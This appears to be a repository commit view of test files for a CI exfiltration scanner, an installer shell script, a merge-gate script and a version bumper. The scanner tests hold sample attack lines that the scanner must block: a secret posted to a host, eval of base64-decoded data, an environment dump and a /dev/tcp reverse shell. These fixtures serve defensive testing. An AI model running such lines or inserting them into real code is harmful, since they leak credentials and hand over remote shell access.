chore: import upstream snapshot with attribution

This commit is contained in:
wehub-resource-sync
2026-07-13 13:12:00 +08:00
commit 3de48288cb
2986 changed files with 1131193 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
"""Tests for repo automation scripts."""
+183
View File
@@ -0,0 +1,183 @@
from __future__ import annotations
import os
import subprocess
import sys
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[2]
SCRIPT = REPO_ROOT / ".github/scripts/security-scan/exfil-scan.py"
def _run(tmp_path: Path, diff: str) -> subprocess.CompletedProcess[str]:
"""
Run exfil-scan.py over a unified-diff string and return the finished process.
:param tmp_path: Pytest tmp dir for the diff file.
:param diff: Unified-diff text (as ``gh pr diff`` would emit).
:returns: The completed process; ``returncode`` is non-zero iff blocking,
and ``stdout`` carries the ``::error``/``::warning`` annotations.
"""
diff_file = tmp_path / "pr.diff"
diff_file.write_text(diff)
env = os.environ.copy()
env["DIFF_FILE"] = str(diff_file)
return subprocess.run(
[sys.executable, str(SCRIPT)],
env=env,
capture_output=True,
text=True,
timeout=30,
)
def _diff(path: str, added: list[str]) -> str:
"""
Build a minimal unified diff that ADDS *added* lines to *path*.
:param path: Destination file path, e.g. ``"tests/e2e/conftest.py"``.
:param added: Line bodies to mark as added (no leading ``+``).
:returns: A unified-diff string the scanner can parse.
"""
body = "".join(f"+{ln}\n" for ln in added)
return (
f"diff --git a/{path} b/{path}\n"
f"index 1111111..2222222 100644\n"
f"--- a/{path}\n"
f"+++ b/{path}\n"
f"@@ -1,1 +1,{len(added) + 1} @@\n"
f" context\n"
f"{body}"
)
def test_benign_diff_is_clean(tmp_path: Path) -> None:
"""A normal test addition (no exfil, no CI-bootstrap file) scans clean.
Guards against the scan blocking ordinary contributions. Asserts exit 0 and
no error annotation for an unremarkable new test file.
"""
proc = _run(
tmp_path, _diff("tests/test_math.py", ["def test_add():", " assert 1 + 1 == 2"])
)
assert proc.returncode == 0, proc.stdout
assert "::error" not in proc.stdout
def test_secret_source_plus_network_blocks(tmp_path: Path) -> None:
"""Reading a secret-named cred AND a network sink in one file blocks.
The canonical exfil shape. Asserts exit 1 and an error annotation naming the
offending file.
"""
proc = _run(
tmp_path,
_diff(
"tests/e2e/conftest.py",
[
"import requests, os",
"requests.post('http://x', data=os.environ['DATABRICKS_CLIENT_SECRET'])",
],
),
)
assert proc.returncode == 1
assert "::error file=tests/e2e/conftest.py" in proc.stdout
def test_decode_then_exec_blocks(tmp_path: Path) -> None:
"""A decode-then-exec payload blocks even without a network sink.
``eval(base64.b64decode(...))`` is almost never legitimate. Asserts exit 1.
"""
proc = _run(
tmp_path,
_diff("setup.py", ["import base64", "eval(base64.b64decode('cHduZWQ='))"]),
)
assert proc.returncode == 1
def test_environ_dump_blocks(tmp_path: Path) -> None:
"""Serializing the whole environment blocks (wholesale-secret exfil).
``json.dumps(os.environ)`` is a classic dump-everything sink. Asserts exit 1.
"""
proc = _run(
tmp_path,
_diff(
"tests/conftest.py",
["import json, os", "open('/tmp/x','w').write(json.dumps(os.environ))"],
),
)
assert proc.returncode == 1
def test_reverse_shell_blocks(tmp_path: Path) -> None:
"""A /dev/tcp reverse-shell shape blocks. Asserts exit 1."""
proc = _run(
tmp_path,
_diff(
"tests/conftest.py",
["import os", "os.system('bash -i >& /dev/tcp/1.2.3.4/9001 0>&1')"],
),
)
assert proc.returncode == 1
def test_normal_gateway_test_not_blocked(tmp_path: Path) -> None:
"""Using LLM_API_KEY + a network call (a normal e2e test) does NOT block.
Low-false-positive guard: the LLM key is not a secret-NAMED source, so an
ordinary gateway test that reads it and makes a request scans clean. Asserts
exit 0.
"""
proc = _run(
tmp_path,
_diff(
"tests/e2e/test_gateway.py",
[
"import requests, os",
"key = os.environ['LLM_API_KEY']",
"requests.get(GATEWAY) # normal e2e",
],
),
)
assert proc.returncode == 0, proc.stdout
def test_ci_file_touch_is_info_not_blocking(tmp_path: Path) -> None:
"""A benign edit to a CI-executed file is INFO (clean), not blocking.
Editing conftest.py / .github without an exfil pattern should surface a
warning for the reviewer but not block. Asserts exit 0 with a warning.
"""
proc = _run(tmp_path, _diff("tests/conftest.py", ["# add a harmless fixture comment"]))
assert proc.returncode == 0, proc.stdout
assert "::warning file=tests/conftest.py" in proc.stdout
def test_passing_environ_around_not_blocked(tmp_path: Path) -> None:
"""Passing os.environ to a helper (no dump) does NOT block.
Regression: a bare ``os.environ)`` matched benign ``helper(os.environ)`` and
blocked. Only a wholesale dump (``json.dumps(os.environ)`` etc.) should
block. Asserts exit 0.
"""
proc = _run(tmp_path, _diff("tests/conftest.py", ["import os", "configure_app(os.environ)"]))
assert proc.returncode == 0, proc.stdout
def test_generic_access_token_field_not_blocked(tmp_path: Path) -> None:
"""A generic ``access_token`` field + a network call does NOT block.
Regression: a case-insensitive ``ACCESS_TOKEN`` term matched ordinary
OAuth/JSON ``access_token`` identifiers and, combined with any network use,
blocked. Asserts exit 0.
"""
proc = _run(
tmp_path,
_diff(
"tests/test_oauth.py",
["access_token = resp.json()['access_token']", "requests.get(url, headers=h)"],
),
)
assert proc.returncode == 0, proc.stdout
+328
View File
@@ -0,0 +1,328 @@
"""Tests for the OSS installer shell script (``scripts/install_oss.sh``).
The installer is POSIX ``sh``. Its argument parsing and URL/path/profile
derivation are pure string logic that must stay correct across the shapes
users actually pass (``--repo git@host:org/repo.git``, ``--version X``,
bare ``https://`` URLs) and across macOS/Linux + zsh/bash combinations.
Strategy: the script ends in a single ``main "$@"`` call. We strip that one
line to get a sourceable library, then drive individual functions from a
fresh ``sh -c`` per case. Platform branches that shell out to ``uname`` are
made deterministic by defining a ``uname`` shell function in the snippet
(a function shadows the external command), and ``linux_pkg_install_cmd``'s
package-manager probe is driven by putting fake executables on ``PATH``.
"""
from __future__ import annotations
import os
import shlex
import shutil
import subprocess
from pathlib import Path
import pytest
# repo-root/scripts/install_oss.sh, from tests/scripts/test_install_oss.py
INSTALLER = Path(__file__).resolve().parents[2] / "scripts" / "install_oss.sh"
# Resolve sh up front: some tests override PATH to probe package-manager
# detection, which would otherwise hide the launcher from subprocess.
SH = shutil.which("sh") or "/bin/sh"
# Agent credentials must not leak into the script under test (CLAUDE.md).
_STRIP_ENV = ("DATABRICKS_TOKEN", "ANTHROPIC_API_KEY", "CODEX", "CLAUDE_CODE")
@pytest.fixture(scope="session")
def lib(tmp_path_factory: pytest.TempPathFactory) -> Path:
"""Return a sourceable copy of the installer with its ``main "$@"`` call removed.
Sourcing the original would run the full installer (network, uv, PATH
edits). Dropping the single trailing invocation leaves every function
definition intact and side-effect-free to source.
"""
text = INSTALLER.read_text()
lines = text.splitlines(keepends=True)
stripped = [ln for ln in lines if ln.rstrip("\n") != 'main "$@"']
assert len(stripped) == len(lines) - 1, (
'Expected exactly one `main "$@"` invocation to strip; the script '
"shape changed and this harness needs updating."
)
out = tmp_path_factory.mktemp("install_oss") / "lib.sh"
out.write_text("".join(stripped))
return out
def run(
lib: Path, snippet: str, env: dict[str, str] | None = None
) -> subprocess.CompletedProcess[str]:
"""Source ``lib`` and run ``snippet`` in a fresh POSIX shell.
:param snippet: shell run after the library is sourced; its exit status
and stdout are the assertion surface.
:param env: overrides merged onto a credential-scrubbed copy of os.environ.
"""
base = {k: v for k, v in os.environ.items() if k not in _STRIP_ENV}
if env:
base.update(env)
program = f". {shlex.quote(str(lib))}\n{snippet}\n"
return subprocess.run(
[SH, "-c", program], capture_output=True, text=True, env=base, timeout=30
)
def test_parse_args_sets_flags(lib: Path) -> None:
"""``--non-interactive`` and ``--verbose`` flip their globals to ``true``."""
r = run(lib, 'parse_args --non-interactive --verbose; echo "$NON_INTERACTIVE $VERBOSE"')
assert r.returncode == 0, r.stderr
assert r.stdout.strip() == "true true", (
f"Both flags should set their globals to 'true', got {r.stdout.strip()!r}."
)
def test_parse_args_captures_version_and_repo(lib: Path) -> None:
"""``--version`` and ``--repo`` capture the value that follows each flag."""
r = run(lib, 'parse_args --version 1.2.3 --repo https://x/y; echo "$VERSION|$REPO_URL"')
assert r.returncode == 0, r.stderr
assert r.stdout.strip() == "1.2.3|https://x/y", (
f"Version and repo should be captured verbatim, got {r.stdout.strip()!r}."
)
@pytest.mark.parametrize("args", ["--version", "--repo", "--frobnicate"])
def test_parse_args_rejects_bad_input(lib: Path, args: str) -> None:
"""A value-less ``--version``/``--repo`` and any unknown flag exit non-zero.
These are the guards that stop a typo'd invocation from silently
installing the wrong thing.
"""
r = run(lib, f"parse_args {args}")
assert r.returncode != 0, (
f"`parse_args {args}` should fail, but exited 0 with stdout {r.stdout!r}."
)
def test_normalize_repo_url_empty_means_pypi(lib: Path) -> None:
"""No ``--repo`` leaves ``INSTALL_URL`` empty — the default PyPI wheel path."""
r = run(lib, 'REPO_URL=; normalize_repo_url; echo "[$INSTALL_URL]"')
assert r.returncode == 0, r.stderr
assert r.stdout.strip() == "[]", (
f"Empty REPO_URL must yield an empty INSTALL_URL, got {r.stdout.strip()!r}."
)
@pytest.mark.parametrize(
("repo_url", "expected"),
[
# bare https/http -> prefixed with git+ so uv treats it as a VCS source
("https://github.com/o/r", "git+https://github.com/o/r"),
("http://example.com/o/r", "git+http://example.com/o/r"),
# already a pip VCS URL -> passed through untouched
("git+https://github.com/o/r", "git+https://github.com/o/r"),
("git+ssh://git@host/o/r", "git+ssh://git@host/o/r"),
# bare ssh:// -> git+ssh://
("ssh://git@host/o/r", "git+ssh://git@host/o/r"),
# scp-like git@host:org/repo.git -> git+ssh://git@host/org/repo.git
("git@host:org/repo.git", "git+ssh://git@host/org/repo.git"),
],
)
def test_normalize_repo_url_shapes(lib: Path, repo_url: str, expected: str) -> None:
"""Each supported ``--repo`` URL shape normalizes to the uv VCS spelling."""
r = run(
lib, f'REPO_URL={shlex.quote(repo_url)}; normalize_repo_url; printf "%s" "$INSTALL_URL"'
)
assert r.returncode == 0, r.stderr
assert r.stdout == expected, (
f"{repo_url!r} should normalize to {expected!r}, got {r.stdout!r}."
)
def test_normalize_repo_url_unsupported_fails(lib: Path) -> None:
"""An unrecognized ``--repo`` value fails loudly instead of guessing."""
r = run(lib, "REPO_URL=not-a-url; normalize_repo_url")
assert r.returncode != 0, "An unsupported --repo URL must fail, not be silently accepted."
assert "Unsupported --repo URL" in r.stderr, (
f"The error should name the offending input, got stderr {r.stderr!r}."
)
def test_normalize_repo_url_version_repo_conflict_fails(lib: Path) -> None:
"""``--version`` (a PyPI pin) combined with ``--repo`` (a source build) is rejected."""
r = run(lib, "REPO_URL=https://x/y; VERSION=1.2.3; normalize_repo_url")
assert r.returncode != 0, "--version + --repo is contradictory and must fail."
assert "--version" in r.stderr and "--repo" in r.stderr, (
f"The error should explain the version/repo conflict, got {r.stderr!r}."
)
@pytest.mark.parametrize(
("install_url", "expected_rc"),
[("git+https://x/y", 0), ("", 1)],
)
def test_building_from_source(lib: Path, install_url: str, expected_rc: int) -> None:
"""``building_from_source`` is true only when ``INSTALL_URL`` is non-empty."""
r = run(lib, f"INSTALL_URL={shlex.quote(install_url)}; building_from_source")
assert r.returncode == expected_rc, (
f"INSTALL_URL={install_url!r} should give rc {expected_rc}, got {r.returncode}."
)
def test_path_contains(lib: Path) -> None:
"""``path_contains`` matches a whole PATH segment, not a substring."""
hit = run(lib, "PATH=/a:/b/bin:/c; path_contains /b/bin")
miss = run(lib, "PATH=/a:/b/bin:/c; path_contains /b")
assert hit.returncode == 0, "A directory present as a full PATH segment should match."
assert miss.returncode == 1, "/b must not match the /b/bin segment (no substring matches)."
@pytest.mark.parametrize(
("uname", "shell", "expected"),
[
("Darwin", "/usr/bin/zsh", ".zprofile"),
("Darwin", "/bin/bash", ".bash_profile"),
("Linux", "/usr/bin/zsh", ".zshrc"),
("Linux", "/bin/bash", ".bashrc"),
("Linux", "/usr/bin/fish", ".profile"), # unknown shell -> POSIX fallback
],
)
def test_pick_profile(lib: Path, uname: str, shell: str, expected: str) -> None:
"""The shell profile is chosen from the OS + login shell pair."""
home = "/tmp/fakehome"
r = run(
lib,
f"uname() {{ echo {uname}; }}; pick_profile",
env={"HOME": home, "SHELL": shell},
)
assert r.returncode == 0, r.stderr
assert r.stdout.strip() == f"{home}/{expected}", (
f"{uname}+{shell} should pick {expected}, got {r.stdout.strip()!r}."
)
@pytest.mark.parametrize(
("uname", "ok"), [("Darwin", True), ("Linux", True), ("MINGW64_NT", False)]
)
def test_check_platform(lib: Path, uname: str, ok: bool) -> None:
"""Only macOS and Linux are supported; anything else fails loudly."""
r = run(lib, f"uname() {{ echo {uname}; }}; check_platform")
if ok:
assert r.returncode == 0, f"{uname} should be accepted, got stderr {r.stderr!r}."
else:
assert r.returncode != 0, f"{uname} should be rejected as unsupported."
assert "macOS and Linux only" in r.stderr
def test_spinner_frame_cycles(lib: Path) -> None:
"""The spinner cycles ``-`` ``\\`` ``|`` ``/`` and wraps modulo 4."""
r = run(
lib, "spinner_frame 0; spinner_frame 1; spinner_frame 2; spinner_frame 3; spinner_frame 4"
)
assert r.returncode == 0, r.stderr
assert r.stdout == "-\\|/-", f"Spinner should cycle and wrap at 4, got {r.stdout!r}."
def test_prompt_yes_no_non_interactive_declines(lib: Path) -> None:
"""In ``--non-interactive`` mode the prompt declines without reading input.
This is what keeps unattended installs from blocking on a TTY read.
"""
r = run(lib, "NON_INTERACTIVE=true; prompt_yes_no 'install foo?'")
assert r.returncode == 1, "Non-interactive prompts must default to 'no' (rc 1)."
assert r.stdout == "", f"Nothing should be printed to a non-TTY prompt, got {r.stdout!r}."
def _bindir(tmp_path: Path, *tools: str) -> str:
"""Create a directory holding empty executable stubs for ``tools`` and return it.
``linux_pkg_install_cmd`` only probes presence via ``command -v``, so the
stubs need to be executable but need not do anything.
"""
for tool in tools:
stub = tmp_path / tool
stub.write_text("#!/bin/sh\n")
stub.chmod(0o755)
return str(tmp_path)
@pytest.mark.parametrize(
("tools", "expected"),
[
(("dnf",), "sudo dnf install -y tmux"),
(("yum",), "sudo yum install -y tmux"),
(("pacman",), "sudo pacman -S --noconfirm tmux"),
(("zypper",), "sudo zypper install -y tmux"),
# apt-get takes precedence when several managers are present
(("apt-get", "dnf", "yum"), "sudo apt-get install -y tmux"),
],
)
def test_linux_pkg_install_cmd(
lib: Path, tmp_path: Path, tools: tuple[str, ...], expected: str
) -> None:
"""The package-manager command matches the detected manager, apt-get first."""
bindir = _bindir(tmp_path, *tools)
r = run(lib, "linux_pkg_install_cmd tmux", env={"PATH": bindir})
assert r.returncode == 0, r.stderr
assert r.stdout == expected, f"Tools {tools} should yield {expected!r}, got {r.stdout!r}."
def test_linux_pkg_install_cmd_none_present(lib: Path, tmp_path: Path) -> None:
"""With no known package manager on PATH the helper emits nothing."""
bindir = _bindir(tmp_path) # empty dir
r = run(lib, "linux_pkg_install_cmd tmux", env={"PATH": bindir})
assert r.returncode == 0, r.stderr
assert r.stdout == "", f"No package manager should produce empty output, got {r.stdout!r}."
def test_check_bubblewrap_noop_on_macos(lib: Path, tmp_path: Path) -> None:
"""On macOS the bubblewrap check is a silent no-op — seatbelt needs no binary."""
bindir = _bindir(tmp_path)
r = run(lib, "uname() { echo Darwin; }; check_bubblewrap", env={"PATH": bindir})
assert r.returncode == 0, r.stderr
assert "bubblewrap" not in (r.stdout + r.stderr), (
f"macOS should say nothing about bubblewrap, got stdout={r.stdout!r} stderr={r.stderr!r}."
)
def test_check_bubblewrap_present_on_linux(lib: Path, tmp_path: Path) -> None:
"""When ``bwrap`` is on PATH the Linux check reports it available."""
bindir = _bindir(tmp_path, "bwrap")
r = run(lib, "uname() { echo Linux; }; check_bubblewrap", env={"PATH": bindir})
assert r.returncode == 0, r.stderr
assert "bubblewrap (bwrap) is available" in r.stdout, (
f"A present bwrap should be reported available, got {r.stdout!r}."
)
def test_check_bubblewrap_missing_warns_with_pkg_cmd(lib: Path, tmp_path: Path) -> None:
"""Missing ``bwrap`` warns (non-fatally) with the detected install command.
The native harness sandbox needs bwrap on Linux, but the installer must not
abort the whole install over it — it warns and continues (exit 0).
"""
bindir = _bindir(tmp_path, "apt-get") # package manager present, but no bwrap
r = run(
lib,
"uname() { echo Linux; }; NON_INTERACTIVE=true; check_bubblewrap",
env={"PATH": bindir},
)
assert r.returncode == 0, "A missing bwrap must warn, not fail (exit 0)."
assert "sudo apt-get install -y bubblewrap" in r.stderr, (
f"The warning should name the detected install command, got {r.stderr!r}."
)
def test_check_bubblewrap_missing_no_pkg_manager_warns_generically(
lib: Path, tmp_path: Path
) -> None:
"""Missing ``bwrap`` with no known package manager falls back to a generic warning."""
bindir = _bindir(tmp_path) # no bwrap, no package manager
r = run(
lib,
"uname() { echo Linux; }; NON_INTERACTIVE=true; check_bubblewrap",
env={"PATH": bindir},
)
assert r.returncode == 0, "A missing bwrap must warn, not fail (exit 0)."
assert "Install it with your package manager" in r.stderr, (
f"With no package manager the warning should be generic, got {r.stderr!r}."
)
@@ -0,0 +1,87 @@
from __future__ import annotations
import os
import subprocess
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[2]
SCRIPT = REPO_ROOT / ".github/scripts/merge-ready/compute-gate.sh"
# A representative FAILED bullet list, the shape evaluate-checks.sh emits.
FAILED = "- `E2E Tests (shard 0/4)` (still pending or cancelled)\n"
def _run(
tmp_path: Path,
*,
eval_outcome: str = "failure",
failed: str = FAILED,
) -> dict[str, str]:
"""Run compute-gate.sh with the given env and parse its GITHUB_OUTPUT.
The script makes no ``gh`` calls -- it is a pure function of its env -- so we
just set the inputs and read back ``state`` / ``short_desc`` / ``long_desc``.
"""
out_file = tmp_path / "gh_output"
out_file.touch()
env = os.environ.copy()
env.update(
{
"EVAL": eval_outcome,
"FAILED": failed,
"GITHUB_OUTPUT": str(out_file),
}
)
proc = subprocess.run(
["bash", str(SCRIPT)],
env=env,
capture_output=True,
text=True,
timeout=30,
)
assert proc.returncode == 0, f"script failed: {proc.stderr}"
return _parse_github_output(out_file.read_text())
def _parse_github_output(text: str) -> dict[str, str]:
"""Parse GITHUB_OUTPUT, honoring both ``k=v`` and ``k<<DELIM ... DELIM``."""
out: dict[str, str] = {}
lines = text.splitlines()
i = 0
while i < len(lines):
line = lines[i]
if "<<" in line and "=" not in line.split("<<", 1)[0]:
key, _, delim = line.partition("<<")
body: list[str] = []
i += 1
while i < len(lines) and lines[i] != delim:
body.append(lines[i])
i += 1
out[key] = "\n".join(body)
elif "=" in line:
key, _, value = line.partition("=")
out[key] = value
i += 1
return out
def test_green_gate_is_success(tmp_path: Path) -> None:
"""A green CI eval yields state=success and the merging-now message."""
out = _run(tmp_path, eval_outcome="success")
assert out["state"] == "success"
assert "merging now" in out["long_desc"]
def test_red_gate_is_failure(tmp_path: Path) -> None:
"""A red CI eval lists the failing checks and yields state=failure."""
out = _run(tmp_path, eval_outcome="failure")
assert out["state"] == "failure"
assert "gate not green yet" in out["long_desc"]
def test_short_desc_never_exceeds_140_chars(tmp_path: Path) -> None:
"""The 140-char commit status limit is respected."""
out = _run(tmp_path, eval_outcome="failure")
assert len(out["short_desc"]) <= 140
+156
View File
@@ -0,0 +1,156 @@
"""
Unit tests for ``scripts/update_versions.py`` (the lockstep version bumper).
The ``repo_copy`` fixture copies the repo's *real* ``pyproject.toml``
files into a temp tree, so the regex anchors are exercised against the
actual file formatting — a drift in either the script or the files
fails here.
"""
from __future__ import annotations
import importlib.util
import sys
from pathlib import Path
import pytest
_REPO_ROOT = Path(__file__).resolve().parents[2]
# ``scripts`` is a namespace package (no ``__init__.py``), so a bare
# ``from scripts import update_versions`` is shadowed by the regular
# ``tests/scripts`` package when both resolve as a top-level ``scripts`` during
# a full-suite collection (pytest's default "prepend" import mode), failing with
# ``ImportError: cannot import name 'update_versions' from 'scripts'``. Load the
# module by its repo-root file path instead, which is immune to the collision.
_UPDATE_VERSIONS_SPEC = importlib.util.spec_from_file_location(
"_update_versions_under_test", _REPO_ROOT / "scripts" / "update_versions.py"
)
assert _UPDATE_VERSIONS_SPEC is not None and _UPDATE_VERSIONS_SPEC.loader is not None
update_versions = importlib.util.module_from_spec(_UPDATE_VERSIONS_SPEC)
# Register before exec so dataclasses defined in the module can resolve their
# defining module via ``sys.modules`` during class creation.
sys.modules[_UPDATE_VERSIONS_SPEC.name] = update_versions
_UPDATE_VERSIONS_SPEC.loader.exec_module(update_versions)
_PYPROJECTS = [
"pyproject.toml",
"sdks/python-client/pyproject.toml",
"sdks/ui/pyproject.toml",
]
# The runtime version constant is stamped/verified alongside the pyprojects.
_VERSION_PY = "omnigent/version.py"
@pytest.fixture
def repo_copy(tmp_path: Path) -> Path:
"""Copy the real pyproject.toml files + version.py into a temp repo root."""
root = tmp_path / "repo"
for rel in (*_PYPROJECTS, _VERSION_PY):
dst = root / rel
dst.parent.mkdir(parents=True, exist_ok=True)
dst.write_text((_REPO_ROOT / rel).read_text())
return root
def test_set_version_rewrites_every_location(repo_copy: Path) -> None:
changed = update_versions.set_version(repo_copy, "9.9.9")
# Three pyprojects plus omnigent/version.py.
assert len(changed) == 4
# root: version line + two sibling pins; SDKs: version line + one pin.
assert (repo_copy / "pyproject.toml").read_text().count("9.9.9") == 3
assert (repo_copy / "sdks/python-client/pyproject.toml").read_text().count("9.9.9") == 2
assert (repo_copy / "sdks/ui/pyproject.toml").read_text().count("9.9.9") == 2
# The runtime constant is stamped too.
assert 'VERSION = "9.9.9"' in (repo_copy / _VERSION_PY).read_text()
# check() round-trips: all agree and pins are exact.
assert update_versions.check(repo_copy, expect="9.9.9") == "9.9.9"
def test_set_version_updates_runtime_constant(repo_copy: Path) -> None:
"""The bump path keeps omnigent/version.py's VERSION in lockstep.
This is the gap that would otherwise make the automated bot bump commit a
stale constant and trip the ``test_version_matches_pyproject`` backstop.
"""
version_py = repo_copy / _VERSION_PY
assert 'VERSION = "9.9.9"' not in version_py.read_text()
changed = update_versions.set_version(repo_copy, "9.9.9")
assert version_py in changed
assert 'VERSION = "9.9.9"' in version_py.read_text()
def test_check_detects_version_py_drift(repo_copy: Path) -> None:
"""A stale VERSION constant (pyprojects consistent) fails check()."""
update_versions.set_version(repo_copy, "9.9.9")
version_py = repo_copy / _VERSION_PY
version_py.write_text(version_py.read_text().replace('VERSION = "9.9.9"', 'VERSION = "9.9.8"'))
with pytest.raises(ValueError, match=r"omnigent/version\.py VERSION"):
update_versions.check(repo_copy)
def test_set_version_fails_loud_when_constant_absent(repo_copy: Path) -> None:
"""A version.py missing the VERSION line must raise, not silently no-op."""
version_py = repo_copy / _VERSION_PY
version_py.write_text('"""No constant here."""\n')
with pytest.raises(ValueError, match="expected exactly 1 match"):
update_versions.set_version(repo_copy, "9.9.9")
def test_set_version_preserves_unrelated_version_literals(repo_copy: Path) -> None:
root_pyproject = repo_copy / "pyproject.toml"
before = root_pyproject.read_text()
# Real third-party floor that shares the old version digits — must
# survive a bump untouched (anchored-on-name replacement, not blind).
assert '"databricks-mcp>=0.1.0",' in before
update_versions.set_version(repo_copy, "9.9.9")
assert '"databricks-mcp>=0.1.0",' in root_pyproject.read_text()
def test_check_detects_version_drift(repo_copy: Path) -> None:
update_versions.set_version(repo_copy, "9.9.9")
# Knock one package out of lockstep but keep it internally consistent
# (version + its own sibling pin both move) so the cross-package
# disagreement is what surfaces, not a missing pin.
ui = repo_copy / "sdks/ui/pyproject.toml"
ui.write_text(ui.read_text().replace("9.9.9", "9.9.8"))
with pytest.raises(ValueError, match="disagree"):
update_versions.check(repo_copy)
def test_check_detects_missing_pin(repo_copy: Path) -> None:
update_versions.set_version(repo_copy, "9.9.9")
# Break the sibling pin while leaving the version intact.
client = repo_copy / "sdks/python-client/pyproject.toml"
client.write_text(client.read_text().replace('"omnigent==9.9.9"', '"omnigent==9.9.8"'))
with pytest.raises(ValueError, match="missing exact pin"):
update_versions.check(repo_copy)
def test_set_version_fails_loud_when_line_absent(tmp_path: Path) -> None:
# A pyproject missing the version line must raise, not silently no-op.
root = tmp_path / "repo"
(root / "sdks/python-client").mkdir(parents=True)
(root / "sdks/ui").mkdir(parents=True)
(root / "pyproject.toml").write_text('[project]\nname = "omnigent"\n')
(root / "sdks/python-client/pyproject.toml").write_text("[project]\n")
(root / "sdks/ui/pyproject.toml").write_text("[project]\n")
with pytest.raises(ValueError, match="expected exactly 1 match"):
update_versions.set_version(root, "9.9.9")
@pytest.mark.parametrize(
("released", "expected"),
[
("0.1.2", "0.1.3.dev0"),
("1.0.0", "1.0.1.dev0"),
("0.1.2rc1", "0.1.3.dev0"),
("2.5.9", "2.5.10.dev0"),
],
)
def test_next_dev_version(released: str, expected: str) -> None:
assert update_versions.next_dev_version(released) == expected
def test_validate_pep440_rejects_junk() -> None:
with pytest.raises(SystemExit, match="invalid version"):
update_versions._validate_pep440("not-a-version")